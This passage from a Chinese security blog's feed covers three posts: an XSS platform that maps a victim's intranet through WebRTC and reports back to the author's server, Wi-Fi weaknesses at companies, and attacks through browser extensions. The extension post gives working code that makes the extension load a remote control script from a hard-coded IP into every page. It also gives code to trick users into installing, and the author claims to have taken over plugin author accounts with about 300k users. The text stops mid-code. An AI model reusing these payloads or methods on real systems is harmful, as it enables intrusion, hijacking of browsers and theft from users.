&lt;li&gt;cms 参数是存在漏洞的 CMS 信息&lt;/li&gt;
&lt;li&gt;vulip 是存在漏洞的 IP 地址&lt;/li&gt;
&lt;li&gt;onlystring 是唯一标识符，用于服务端判断&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;0x08 stage 的作用: {#stage}&lt;/h2&gt;
&lt;p&gt;stage 函数代码如下:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;function stage(num){
    var updataStage = document.createElement(&quot;img&quot;);
    updataStage.setAttribute(&quot;src&quot;,&quot;http://webrtcxss.cn/Api/stage/onlystring/&quot;+onlyString+&quot;/updata/&quot;+num);
    updataStage.setAttribute(&quot;style&quot;,&quot;display:none;&quot;);
    document.getElementsByTagName(&quot;body&quot;)[0].appendChild(updataStage);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;就是一个 img 标签，发送 get 请求到服务端，告诉服务端代码运行到哪里了。在平台中的反馈如图:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/use-xss-automation-invade-intranet/stage-feedback-list.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;0x09 API 后端代码: {#api-backend}&lt;/h2&gt;
&lt;p&gt;后端使用了 thinkphp 框架。如果你想修改服务端接受的方式的话。
请在/Application/Home/Controller 目录下修改 ApiController.class.php 文件，就行了。里面的内容分为 survivalIp、survivalPortIp、_empty、survivalCmsIp、existenceVul、stage 模块。可根据 JavaScript 中的代码来做出相应的修改。如图:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/use-xss-automation-invade-intranet/api-controller-code.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;0x10 平台专属的 API: {#platform-api}&lt;/h2&gt;
&lt;p&gt;平台的 api 在 &lt;code&gt;/Application/Home/Controller&lt;/code&gt; 目录下的 RootApiController.class.php 文件里。
建立项目、删除项目、查询项目都在里面。如果你想修改 JavaScript 代码，就在建立项目中修改，如图:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/use-xss-automation-invade-intranet/add-project-code.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;修改起来很简单。
平台运行起来如下图:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/use-xss-automation-invade-intranet/project-list.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/use-xss-automation-invade-intranet/add-project-modal.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/use-xss-automation-invade-intranet/project-success-script.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/use-xss-automation-invade-intranet/vuln-detail-modal.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/use-xss-automation-invade-intranet/no-projects-page.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;0x11 数据库的结构: {#database}&lt;/h2&gt;
&lt;p&gt;一共具有 7 个表，如下:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;webrtc_cmspath&lt;/code&gt; 用于存放检测 cms 类型的 JavaScript 路径&lt;/li&gt;
&lt;li&gt;&lt;code&gt;webrtc_cmsvul用于存放cms&lt;/code&gt; 的 getshell 漏洞详情&lt;/li&gt;
&lt;li&gt;&lt;code&gt;webrtc_existencecmsip&lt;/code&gt; 用于存放内网中哪些 IP 具有 cms&lt;/li&gt;
&lt;li&gt;&lt;code&gt;webrtc_existencevul&lt;/code&gt; 用于存放内网中哪些 IP 具有的 CMS 有漏洞&lt;/li&gt;
&lt;li&gt;&lt;code&gt;webrtc_ipdatalist&lt;/code&gt; 用于存放内网中所有开放 80 端口切具有站点的 ip 列表&lt;/li&gt;
&lt;li&gt;&lt;code&gt;webrtc_project&lt;/code&gt; 用于存放项目信息&lt;/li&gt;
&lt;li&gt;&lt;code&gt;webrtc_survivaliplist&lt;/code&gt; 用于存放当前主机的内网 ip&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;0x12 特殊的玩法: {#attack-vectors}&lt;/h2&gt;
&lt;p&gt;之前在 freebuf 说过了，地址是: &lt;a href=&quot;http://www.freebuf.com/articles/web/61268.html&quot;&gt;http://www.freebuf.com/articles/web/61268.html&lt;/a&gt;
因为 nginx 或者 apache 有些管理员会使用日志看实时查看网站的流量，由于 log 日志看起来太丑，于是就有人想出 web 端实时的反馈网站流量。但是在记录 user-agent 等数据包格式的时候，没有做好过滤。从而导致攻击者修改自己的 user-agent 为 XSS 攻击字符串，再进行浏览网站的操作，网站管理员在查看的时候就会触发 XSS，如果配合本章所讲的内容。就像下雨天吃着巧克力一样完美。其实并不一定非要是 nginx 或者 apache，有些网站的后台写的程序中会使用后端语言而非 nginx 这种配置生成文件，他们会直接记录下你们的 IP、user-agent。从而在后台方便查看。这个时候我们本章所说的内容就会排上用场。
关于插件安全的话，请大家看下面这张图:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/use-xss-automation-invade-intranet/maxthon-plugins-dashboard.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;我控制了十多个 maxthon 插件作者的账户，现在具有 30w 的插件用户，而我可以随时随地的更改其中的代码，而我问了一下 maxthon 插件的官方人员，答复是:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/use-xss-automation-invade-intranet/plugin-autoupdate-reply.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;即使你没有相关的插件作者用户。可以使用组简单的 html+swf 来写一个插件小游戏，一个星期就可以上千。这里我打个比方，10w 用户都安装了我的插件。
其中 5w 是已经工作的用户。2w 是在公司电脑上使用 maxthon 并安装了插件，一旦打开 maxthon 浏览器，插件就会自动运行。而当插件发现有新版本时，会自动静默安装。然后就会运行我们的 JavaScript 代码，而我在 0x03 节的地方说到 maxthon 也是支持 WebRTC 的，但是这里会有坑。我不清楚是不是由版本引起的问题，在 chrome 下运行 WebRTC 代码时会显示一组 IP，也是当前电脑的内网 IP，而在 maxthon 下，会出现三组，可能不止三组。如图:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/use-xss-automation-invade-intranet/maxthon-multiple-ips.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;其中 192.168.27.1 是我电脑上的 VM 虚拟机的 IP 段。192.168.118.1 也是 VM 虚拟机上的 ip 段。只有 192.168.1.104 才是当前真正的内网 IP。所以在源程序里会出现 join 函数和对 ipList 变量的 for 循环。&lt;/p&gt;
&lt;h2&gt;0x13 失败的思路: {#failed-ideas}&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;思路一、&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;假设这里获取到的内网 IP 为 192.168.21.104。根据 for 循环输出 img、script 标签可以获取到内网的所以存活 IP 地址（也可以探测 port），但是这里有一个问题，就是 JavaScript 里怎么获取到其他内网的资源信息，因为跨域，ajax、iframe 都不行。我昨天晚上问了 0xJin，他是没有获取，只是扫的存活 IP 及端口。但是说好是内网漫游，不能只获取到当前触发 XSS 的 Pc。昨天晚上查了一夜的资料，有个思路，但是不知道能不能实现。这里说明一下，如果有什么好的建议可以提出来。当然思路可能错误。&lt;/p&gt;
&lt;p&gt;前面的跳过，假设现在已经有了内网中开放 80 端口的 IP。
既然 ajax、iframe 都不行，那我们可以尝试一下 flash 来获取，但是 flash 也有相应的 crossdomain.xml 限制，但是今天上午查资料的时候找到了这么一篇文章: &lt;a href=&quot;http://www.litefeel.com/cross-flash-security-sandbox-get-visual-data&quot;&gt;http://www.litefeel.com/cross-flash-security-sandbox-get-visual-data&lt;/a&gt;
根据作者所说，这个方法只能获取到视觉对象（图片、swf），也就是说无法获取存活 IP 里的 html 源码了。&lt;/p&gt;
&lt;p&gt;我想是否可以使用 flash 发送一个带有 XSS 的 URL（内网 IP）
XSS 里调用 Html2canvas 插件来把存活 IP 中的网站截图发送给我们的服务器端。
当然了，这里有一个限制条件，就是必须获取存活 IP 中网站的 cms 信息（可以使用 &lt;code&gt;&amp;lt;img src=&quot;内网IP/favicon.ico&quot;&amp;gt;&lt;/code&gt; 再把图片发送给远程服务器，来接受。这样就可以判断属于哪个 cms 类型的了，构架代码的时候可以加一个定时获取远程服务器的 JavaScript 代码，这样我们看到是 cms 类型后，就可以在网上找相应的爆版本信息的方法，写成代码，等待客服端的定时任务获取到）。&lt;/p&gt;
&lt;p&gt;现在信息有了，还有一个条件，就是 XSS 漏洞，需要 XSS 漏洞来加载 Html2canvas 插件，并且保存成图片发送给远程的服务器。&lt;/p&gt;
&lt;p&gt;问题来了，反射 XSS 并不是正真的打开网站，而是发送 get 请求。那 canvas 并不会加载，也就说图片获取失败。储蓄型的话可能成功。&lt;/p&gt;
&lt;p&gt;失败的原因:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;canvas 无法获取到 iframe 里的 DOM 内容&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;img 无法发送到远程服务器，因为调用 img 图片的时候，当前页面和 img 的图片不是同源的，无法发送&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;隐蔽性很差&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;思路二、&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;之前我提到的思路是使用 xss+iframe+canvas，但是@超威蓝猫 说到 canvas 无法截取到 iframe 里的内容，后来我上网查后，确实如此（基础不牢的结果）。后来我又有了一个新的思路，使用 &lt;code&gt;&amp;lt;img src=&quot;https://xxx.xxx.xxx.xxx/favico.ico&quot; /&amp;gt;&lt;/code&gt; 来获取网站的 cms 信息，因为不同的 cms 他们的 ico 图标也是不一样的，把 img 发送到服务器端后，就可以识别网站属于哪种 cms 类型了。但是后来和伟哥 @呆子不开口 讨论了几个小时，发现忽略了一个重要的问题，怎么把 img 发送到远程服务器，img 图片地址不是同源的，而且怎么把图片使用 JavaScript 转成二进制数据。这个思路又断了。伟哥提到一个很 nice 的解决方案，检测 js 脚本，也就是 &lt;code&gt;&amp;lt;script src=&quot;http://xxx.xxx.xxx.xxx/path/cms.js&quot; onload=&quot;xxx(this)&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt; 这样的话，我就需要大量 cms 独立的 js 文件位置。工作量大。我本来都打算使用这个了，但是前几天闲的无聊翻自己的 QQ 日志时，发现了一段代码:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;document.addEventListener(&quot;visibilitychange&quot;, function() {
    document.title = document.hidden ? &apos;iloveyou&apos; : &apos;metoo&apos;;
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这是 HTML5 推出的 API，我发现我可以利用这个 API 来达到神不知鬼不觉的上传图片。首先当用户切换到其他浏览器标签的时候，document.hidden 会为 true。那么我们就可以确定用户没有访问我们 XSS 的网页。那么我们干什么用户都不会发现了。大致的思路如下:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;document.addEventListener(&quot;visibilitychange&quot;, function() {
    if(document.hidden){
        var htmlText = $(&quot;body&quot;).html();
        $(&quot;body&quot;).empty();
        $(&quot;body&quot;).append(&quot;&amp;lt;img src=&apos;http://xxx.xxx.xxx.xxx/favico.ico&apos; /&amp;gt;&quot;);
        //canvas 获取页面，请移步: http://leobluewing.iteye.com/blog/2020145
    }else{
        $(&quot;body&quot;).empty();
        $(&quot;body&quot;).append(htmlText);
    }
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;失败的原因:&lt;/p&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;
&lt;p&gt;因为之前提到过 img 加载太消耗时间，尤其在 maxthon 浏览器下，三组以上的 IP 地址全部检测完成需要 30 分钟左右。如果用此方法的话，需要确保用户在半个小时内不能打开此页面&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;canvas 无法获得不是本源的图片，也就是说不能获取到 img 加载的图片&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;总结后，就采用了伟哥的方法。&lt;/p&gt;
&lt;h2&gt;0x14 结尾: {#conclusion}&lt;/h2&gt;
&lt;p&gt;在此尤其感谢，@呆子不开口。这篇文章写的很累，因为 img 标签发送的耗时长的问题，导致每一次修改 BUG 的时候，都需要等 9-10 分钟。也是我目前为止写的时间最长的一篇文章。因为要学驾照，时间更少了。大概花了一个月左右的时间。之前和主编约稿的日期是 15 日，一直拖到现在，挺对不住的。前端、后端、数据库还有些的 BUG 没有修复，如果此平台的安装量达到 1000 会继续更新，下面是平台下载的 url:
&lt;a href=&quot;https://github.com/BlackHole1/WebRtcXSS&quot;&gt;https://github.com/BlackHole1/WebRtcXSS&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>web security</category><category>xss</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>公司 wifi 安全</title><link>https://bugs.cc/zh/posts/company-wifi-security/</link><guid isPermaLink="true">https://bugs.cc/zh/posts/company-wifi-security/</guid><description>公司一般对于 wifi 的安全没有足够的认知，这篇文章会大概说明 wifi 不进行管理会出现的一些问题</description><pubDate>Tue, 13 Dec 2016 03:00:48 GMT</pubDate><content:encoded>&lt;h2&gt;0x0 前言: {#intro}&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;很多的公司都没有安全团队，只有运维来负责整个公司的安全，从而安全问题也大打折扣。我最近一直在给各个公司做安全检测，就把自己的心得写下来，有什么不足之处还望补充。&lt;/p&gt;
&lt;h2&gt;0x1 无线安全: {#wireless-security}&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;很多的公司都有不怎么注重公司的无线电安全，有钱的公司买设备，没钱的公司搞人力。但是人的技术在好，没有设备的辅助，单纯的人力在厉害也没什么用。&lt;/p&gt;
&lt;p&gt;很多的公司 WIFI 认证基本都是 WPA/WPA2 然后加个 WEB 二次认证，认为这样就万无一失了，而其实这并没有什么用。破解 WPA，可以使用 aircrack-ng、airmon-ng、airodump-ng、aireplay-ng 来实现破解，WPA2 使用字典穷举。&lt;/p&gt;
&lt;p&gt;当然也可以使用大菠萝伪造一个 WIFI。而大家也都知道有一款神器叫做“wifi 万能钥匙”，可以先去看看 wifi 万能钥匙能不能解，不能解的话再破。连上 WIFI 后，将会提示你需要进行 WEB 二次认证。这里你完全可以弃之不理，因为它并没有什么用。&lt;/p&gt;
&lt;p&gt;因为你是 WPA/WPA2 的认证方式，你连上 WIFI 之后，交换机就会马上分配给你一个内网 IP（我遇到的是交换机，也可能是路由器）一个黑客要你外网干什么，他需要的是公司的内网资源。&lt;/p&gt;
&lt;p&gt;连不上网对黑客来说没有什么问题。我给某公司做安全检测的时候，万能钥匙破解—中间人嗅探。不到两分钟拿到了他们公司官网后台管理员的权限。&lt;/p&gt;
&lt;p&gt;WEB 认证在我看来不是针对于黑客的，是针对于员工的，因为黑客不需要外网资源，但是员工需要。
下面是我画的图:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/company-wifi-security/web-auth-lan-access.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.processon.com/view/556d3cd0e4b09c41cc41b26e&quot;&gt;思维导图 URL&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;黑客连入 WIFI 后，虽然 WEB 二次认证不了，但是黑客现在已经处于内网中，他可以访问内网的任何资源。&lt;/p&gt;
&lt;p&gt;修复建议:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;把 WPA/WPA2 无线认证换成 802.1x 认证方式（802.1x 无线认证方式需要交换机的支持）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;买针对无线检测/防御设备&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;无线不能访问内网资源，只有有线可以访问内网资源（从物理上隔绝问题）&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;关于 802.1x 认证方式，他的原理图是下面这样的:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/company-wifi-security/802-1x-auth-flow.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.processon.com/view/link/556d5c6be4b09c41cc43c0e3&quot;&gt;思维导图 URL&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;黑客即使连上公司 WIFI，但是无法通过 802.1x 认证，导致&lt;/p&gt;
&lt;p&gt;公司设备（路由器、交换机）无法分配给你内网 IP 和外网出口 IP 的资格。&lt;/p&gt;
&lt;h2&gt;0x2 较为深入无线安全: {#wireless-advanced}&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;像上面所讲，只是针对公司开放的 WIFI 进行管理。&lt;/p&gt;
&lt;p&gt;而上面的三个解决方案，只有第一个相比之下是比较方便还不用花钱的（机房设备需要支持 802.1x 无线协议，不支持还是要花钱）。&lt;/p&gt;
&lt;p&gt;第二个，公司如果不想花钱是不会选择的，而且买了还要配置，前期工作量特别大。&lt;/p&gt;
&lt;p&gt;第三个，工作量大，需要重新架构公司网络，我和一个同事在下午 6 点下班后一直忙到第二天上班之前才搞定。&lt;/p&gt;
&lt;p&gt;如果公司不想花钱或者运维不想重新架构的话，第一种是很好的选择，但是这里又有一个问题，360/百度随身 WIFI，这个东西的存在，对那些本来就不怎么安全的公司更是雪上加霜。&lt;/p&gt;
&lt;p&gt;360/百度随身 WIFI 插入公司电脑后，会开启 ICS 服务，加上自带的无线网卡 AP 功能。当你连上这个随身 WIFI 之后，相当于一个小型的局域网。这时我们可以先入侵那个插了随身 WIFI 的 PC 电脑，通过它来入侵整个公司。如果你只需要某个接口，则不需要入侵插了随身 WIFI 的 PC 电脑。这里假设下“我需要的是这个网站的后台，可是想要登陆这个网站后台，需要出口 IP 是这个公司的外网 IP”这样的话，我们则不需要入侵插了随身 WIFI 的 PC 电脑来。为什么呢？我画了一个图，大家看下:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/company-wifi-security/portable-wifi-attack.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.processon.com/view/556d175ee4b0546a904aa2bb&quot;&gt;思维导图 URL&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;黑客连入 WIFI 后，无需进行 WEB 二次认证，因为它使用的是员工的网络，员工也肯定认证过了，员工使用的是公司内网，内网有个统一的出口 IP，而服务器端也只认这个 IP，其他 IP 连不上服务器。&lt;/p&gt;
&lt;p&gt;解决办法，网上很多，可以参考网上的教程。&lt;/p&gt;
&lt;p&gt;如果你又更好的解决方案，可以提出来。我个人的思路有限。有不足之处，还望见谅。&lt;/p&gt;
</content:encoded><category>wireless security</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>浏览器插件的攻击向量</title><link>https://bugs.cc/zh/posts/browser-plugin-attack-vector/</link><guid isPermaLink="true">https://bugs.cc/zh/posts/browser-plugin-attack-vector/</guid><description>因为浏览器插件具有很多特权的 API，利用这些 API 可以做到之前不能做到的事情，本篇文章也只是抛砖引玉</description><pubDate>Wed, 05 Oct 2016 12:35:52 GMT</pubDate><content:encoded>&lt;h2&gt;0x0 前言: {#intro}&lt;/h2&gt;
&lt;p&gt;我在很多地方都有说“浏览器插件的攻击方法”，本篇文章就带大家深入的研究一下“由浏览器插件引发的攻击手法及攻击代码”。本篇文章说的内容，可以给大家打开一个新的攻击思路，做 APT 攻击的话也会有奇效。&lt;/p&gt;
&lt;h2&gt;0x1 让自己变成攻击者: {#become-attacker}&lt;/h2&gt;
&lt;p&gt;我之前在群里问了一下，发现很多人都只是听说过，虽然知道原理。但是没有进行实践并且小瞧了这个攻击方式。而且这个攻击手法的案例也是少的可怜。没有攻何来守，之前 chrome 有过类似的攻击手法，但是攻击代码所做的事比较少，于是本篇我们先成为攻击者，站在攻击者的角度来研究这个攻击手法。之前我在介绍这个攻击手法的时候都是在文章里开一个小节来说的。现在我专门来为这个攻击方法写篇文章，也希望让大家重视起来。&lt;/p&gt;
&lt;p&gt;在大家的理解里，浏览器插件攻击就是在插件里植入 javascript 代码，做一些盗取 cookies 的事情，但是事情远没有那么简单。&lt;/p&gt;
&lt;p&gt;大家都知道进行“浏览器插件攻击”就需要用户安装了你的插件。大家也都认为只有这一种方法，但是事实并非如此，下面是 4 种安装插件的方法:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;在页面里欺骗用户，写上“如想浏览此页面，请去下载某某插件”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;被动等待，类似: 姜太公钓鱼愿者上钩的感觉，插件就在那，你不安装总会有人安装&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;基于社工库控制插件作者的账户，加入后门代码，更新插件&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;控制插件里调用的第三方 javascript 代码&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;现在有四种方法供我们选择，我们一个个来进行介绍。&lt;/p&gt;
&lt;h2&gt;0x1.1 在页面里欺骗用户，写上“如想浏览此页面，请去下载某某插件” {#deceive-user}&lt;/h2&gt;
&lt;p&gt;这个方法类似于之前的问题 &lt;a href=&quot;http://www.cnbeta.com/articles/470593.htm&quot;&gt;强迫安装恶意 Chrome 扩展 攻击者使用激进方式&lt;/a&gt;。这里我们也来实现一下并且优化下，此处使用的案例是“MaxThon 遨游浏览器插件”。&lt;/p&gt;
&lt;h3&gt;0x1.1.1 检测是否安装了某插件 {#detect-extension}&lt;/h3&gt;
&lt;p&gt;我们先把这个攻击方式的代码目录架构进行说明:&lt;/p&gt;
&lt;p&gt;网站页面: &lt;code&gt;index.html&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;插件目录:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;icons/              插件的 logo 存放目录

icons/icons.svg     插件 logo 文件

def.json            插件的主控制文件，里面存着整个插件的配置
代码如下:
[
    {
        &quot;type&quot;: &quot;extension&quot;,
        &quot;frameworkVersion&quot;: &quot;1.0.0&quot;,
        &quot;version&quot;: &quot;1.0.0&quot;,
        &quot;guid&quot;: &quot;{7c321680-7673-484c-bcc4-de10f453cb8e}&quot;,
        &quot;name&quot;: &quot;plug_setup&quot;,
        &quot;author&quot;: &quot;Black-Hole&quot;,
        &quot;svg_icon&quot;: &quot;icon.svg&quot;,
        &quot;title&quot;: {
            &quot;zh-cn&quot;: &quot;欺骗用户安装插件&quot;
        },
        &quot;description&quot;: {
            &quot;zh-cn&quot;: &quot;欺骗用户安装插件&quot;
        },
        &quot;main&quot;: &quot;index.html&quot;,
        &quot;actions&quot;: [
            {
                &quot;type&quot;: &quot;script&quot;,
                &quot;entryPoints&quot;: [
                    &quot;doc_onload&quot;
                ],
                &quot;js&quot;: [
                    &quot;base.js&quot;
                ],
        &quot;include&quot;: [&quot;*&quot;],
        &quot;includeFrames&quot;: true
             }
        ]
    }
]
base.js             每打开一个页面，要执行的 JavaScript 代码
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我翻遍了整个遨游插件的 API 手册，没有找到类似 chrome Plug API 的:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) {
    if(request.act == &apos;ping&apos;){
        sendResponse({&quot;act&quot;: &quot;tong&quot;});
    }
})
chrome.runtime.sendMessage(&quot;extensionId&quot;, {&quot;act&quot;: &quot;ping&quot;}, function(response){
    if(response &amp;amp;&amp;amp; response.act == &apos;tong&apos;){
        console.log(&apos;已安装&apos;);
    }else{
        console.log(&apos;未安装&apos;);
    }
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;既然没有找到，我们就要想其他比较 Hack 的办法来解决这个问题。&lt;/p&gt;
&lt;p&gt;这里我使用的办法是利用 JavaScript 全局及 setTimeout 函数来解决这个问题。&lt;/p&gt;
&lt;p&gt;首先在插件里的 base.js 文件里写入:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;var script = document.createElement(&apos;script&apos;);
script.src = &quot;http://119.29.58.242/control.js&quot;;
document.body.appendChild(script);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;上面，这段代码将会在每个页面里的 body 标签后面写入 &lt;code&gt;&amp;lt;script src=&quot;http://119.29.58.242/control.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt; 代码，而在 &lt;code&gt;http://119.29.58.242/control.js&lt;/code&gt; 文件里的代码为:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;window.plug_setup = function(){

}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这时，用户打开任何一个网页，那个网页的全局函数中就会有一个名为 plug_setup 的函数，并且不具有任何作用，很容易让人忽略掉，只会在特殊的页面中才会起作用。&lt;/p&gt;
&lt;p&gt;然后我们再在网站的页面里写:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;setTimeout(function(){
    if(typeof(plug_setup)!=&quot;function&quot;){
        alret(&quot;因网站升级，网站结合了浏览器插件给用户更好的使用体验，请安装xx插件后刷新此页面&quot;);
    }
},1000)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因为页面加载、网络等问题照成的延迟问题，这里我们设置为 1 秒后运行检测代码。1 秒后，将会运行&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;if(typeof(plug_setup)!=&quot;function&quot;){
    alret(&quot;因网站升级，网站结合了浏览器插件给用户更好的使用体验，请安装xx插件后刷新此页面&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个时候如果全局没有 plug_setup 函数，将会运行下面的 alert 函数，告诉用户需要安装插件才可以访问。&lt;/p&gt;
&lt;h3&gt;0x1.1.2 欺骗用户进行半自动安装指定插件 {#semi-auto-install}&lt;/h3&gt;
&lt;p&gt;我觉的如果让用户安装插件的话，你跳转到页面，让用户把插件的信息、评论看完再安装，岂不是成功率大大降低了，而且也不符合网站的优化。《点石成金》一书上说过这样一句话“不要让用户思考”，这个虽然是网站设计里面的至理名言，但是也同样可以放在攻击里，当一个用户的思考变得更少时，那么他会有很大程度上会跟着攻击者设计好的路走。&lt;/p&gt;
&lt;p&gt;于是，我分析了遨游浏览器安装插件页面里的 JavaScript，发现遨游浏览器进行安装插件时调用 API 在任何页面都可以运行，会照成攻击者在页面写上一些 JavaScript 代码后，就会像遨游浏览器那样弹出一个框询问用户是否安装插件:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/browser-plugin-attack-vector/maxthon-install-dialog.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;我这里进行一些优化，代码如下:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;var ERRORTEXT = &apos;非傲游浏览器或版本过低。&amp;lt;a href=&quot;http://www.maxthon.cn&quot; target=&quot;_blank&quot;&amp;gt;点此获取最新版本傲游浏览器&amp;lt;/a&amp;gt;&apos;
function getInstallMessage(that, messagePack, type) {
    if (external.mxCall) {
        var packMxAttr = $(that).closest(messagePack);
        if (type === &apos;skin&apos;) {
            // 浏览器框架版本号
            var frameVersion = external.mxCall(&apos;GetSkinFxVersion&apos;);
        }
        else if (type === &apos;app&apos;) {
            // 浏览器框架版本号
            var frameVersion = external.mxCall(&apos;GetAppFxVersion&apos;);
            // 下个版本上了就删掉--
            if (frameVersion === &apos;1.0.0&apos;) {
                frameVersion = &apos;1.0.1&apos;;
            }
            // --下个版本上了就删掉
        }
        // 插件包框架版本号
        var packMxVersion = packMxAttr.attr(&apos;file_def&apos;);
        // 插件包 url
        var packUrl = packMxAttr.attr(&apos;file_url&apos;);
        // 插件 id
        var packId = packMxAttr.attr(&apos;file_id&apos;);
        installPack(frameVersion, packMxVersion, packUrl, type, packId);
    }
    else {
        resultPop.show(&apos;浏览器不符&apos;, ERRORTEXT, &apos;确定&apos;);

    }
}
function installPack(frameVersion, packMxVersion, packUrl, type, packId) {
    var isInstall = returnIsInstall(frameVersion, packMxVersion);
    if (isInstall !== -1) {
        if (type === &apos;skin&apos;) {
            external.mxCall(&apos;InstallSkin&apos;, packUrl);
        }
        else if (type === &apos;app&apos;) {
            external.mxCall(&apos;InstallApp&apos;, packUrl);
        }
        getUser(packId);
    }
    else {
        resultPop.show(&apos;浏览器不符&apos;, ERRORTEXT, &apos;确定&apos;);
    }
}
function returnIsInstall(frameVersion, packMxVersion) {
    var fvItem;
    var pvItem;
    var frameVersion = getVersionArr(frameVersion);
    var packMxVersion = getVersionArr(packMxVersion);
    // 定义增长索引值.
    var i = 0;
    while (1) {
        fvItem = frameVersion[i];
        pvItem = packMxVersion[i];
        if (fvItem == null &amp;amp;&amp;amp; pvItem == null) {
            return 0;
        }
        if (fvItem == null) {
            return -1;
        }
        if (pvItem == null) {
            return 1;
        }
        if (fvItem != pvItem) {
            var value = fvItem &amp;gt; pvItem ? 1 : -1
            return value;
        }
        i++;
    }
}
function getVersionArr(version) {
    var versionArr = version.split(&apos;.&apos;);
    for (var i = 0; i &amp;lt; versionArr.length; i++) {
